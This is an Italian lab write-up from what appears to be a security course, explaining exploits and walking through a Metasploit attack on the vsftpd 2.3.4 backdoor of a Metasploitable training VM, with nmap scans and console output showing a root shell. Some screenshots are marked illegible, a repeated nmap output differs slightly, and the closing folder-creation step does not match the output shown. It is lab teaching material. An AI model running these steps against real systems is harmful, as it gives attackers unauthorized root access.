

Exploit



Cos'è un exploit?

È un codice o una sequenza di comandi ideati per sfruttare una vulnerabilità esistente in un sistema. Gli exploit sono utilizzati per ottenere accesso non autorizzato, eseguire codice dannoso o compromettere la sicurezza del sistema.

Gli exploit possono essere applicati su software come sistemi operativi, applicazioni di produttività, ecc. Per funzionare, richiedono quattro condizioni:

1. Il software deve essere in esecuzione.
2. Non ci devono essere aggiornamenti che risolvano la vulnerabilità sfruttata.
3. L'exploit deve essere progettato per la versione specifica del software.
4. È necessario mantenere la connessione, e bisogna trovarsi nella rete interna.

Exploit: Codice dannoso che sfrutta una vulnerabilità esistente in un programma.

Shell: Rappresenta una connessione diretta con il target, stabilita senza essere rilevati.

Esercizio:

Hacking con Metasploit Esercizio Traccia

Nella lezione pratica di oggi, ci concentreremo su come condurre una sessione di hacking utilizzando Metasploit su una macchina virtuale Metasploitable.

Traccia dell'Esercizio

Seguendo l'esercizio trattato nella lezione di oggi, vi sarà richiesto di completare una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable, come discusso nella lezione teorica.

Dettagli dell'Attività Configurazione dell'Indirizzo IP L'unica differenza rispetto all'esercizio svolto in classe sarà l'indirizzo IP della vostra macchina Metasploitable.

Facciamo una scansione con nmap sull'indirizzo target per visualizzare porte e servizi aperti

```

kali@kali: ~
File Actions Edit View Help

(kali@kali)-[~]
$ nmap -sV -T5 192.168.233.136
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 09:19 EST
Nmap scan report for 192.168.233.136
Host is up (0.00087s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain; irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linu

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds

```

Abbiamo visto che la porta 21 è aperta proveremo a eseguire l'attacco proprio su quella porta .

è molto importante tenere conto del servizio che vogliamo attaccare in questo caso la versione è la 2.3.4

Entriamo nella macchina che vogliamo attaccare Metasploite

[illegible]

Cerchiamo l'exploit relativo alla versione del protocollo FTP (vsftpd) usando il comando **SEARCH**, che esegue una ricerca nel database di exploit di Metasploit. Trovati due risultati, selezioniamo il secondo.

Per selezionarlo utilizziamo il comando **USE** con il percorso dell'exploit.

```
+ -- ==[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Con **SHOW OPTIONS** visualizziamo i parametri richiesti per l'attacco specifico.

È richiesto l'IP della macchina target, che impostiamo con il comando **SET RHOST 192.168.1.149**.

Avviamo l'exploit usando il comando **EXPLOIT** o **RUN**.

Nell'ultima riga viene confermato che il codice dannoso è stato iniettato con successo e che la connessione è stata stabilita.

```
root@kali: /home/kali
File Actions Edit View Help
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      no               no        The local client address
  CPORT      no               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes              yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes        The target port (TCP)

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.1.149:21) timed out.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.1.149:21) timed out.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.233.136
rhosts => 192.168.233.136
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.233.136:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.233.136:21 - USER: 331 Please specify the password.
[*] 192.168.233.136:21 - Backdoor service has been spawned, handling...
[*] 192.168.233.136:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.233.137:43781 -> 192.168.233.136:6200) at 2024-11-11 09:31:25 -0500
```

```
kali@kali: ~  
File Actions Edit View Help  
kali@kali:~$ nmap -sV -iL 192.168.233.136  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 09:19 EST  
Nmap scan report for 192.168.233.136  
Host is up (0.00087s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rexecd  
513/tcp   open  login        OpenBSD or Solaris rlogind  
514/tcp   open  shell        Netkit rshd  
1099/tcp  open  java-rmi     GNU Classpath gmicregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
2386/tcp  open  mysql        MySQL 5.0.51a-Subuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8089/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
```

Procediamo con la creazione della cartella .

```
Metasploitable [In esecuzione] - Oracle VM VirtualBox  
File Macchina Visualizza Inserimento Dispositivi Aiuto  
inet addr:127.0.0.1 Mask:255.0.0.0  
inet6 addr: ::1/128 Scope:Host  
UP LOOPBACK RUNNING MTU:16436 Metric:1  
RX packets:709 errors:0 dropped:0 overruns:0 frame:0  
TX packets:709 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:0  
RX bytes:317569 (310.1 KB) TX bytes:317569 (310.1 KB)  
  
msfadmin@metasploitable:~$  
msfadmin@metasploitable:~$  
msfadmin@metasploitable:~$ cd  
msfadmin@metasploitable:~$ ls  
vulnerable  
msfadmin@metasploitable:~$ cd ..  
msfadmin@metasploitable:/home$ ls  
ftp msfadmin service user  
msfadmin@metasploitable:/home$ cd ..  
msfadmin@metasploitable:/home$ ls  
bin dev initrd lost+found nohup.out root sys var  
boot etc initrd.img media opt sbin tmp vmlinuz  
cdrom home lib mnt proc srv usr  
msfadmin@metasploitable:/home$ cd root  
msfadmin@metasploitable:/root$ ls  
Desktop reset_logs.sh test_metasploit vnc.log  
msfadmin@metasploitable:/root$ _
```

Verifichiamo che la cartella sia stata creata .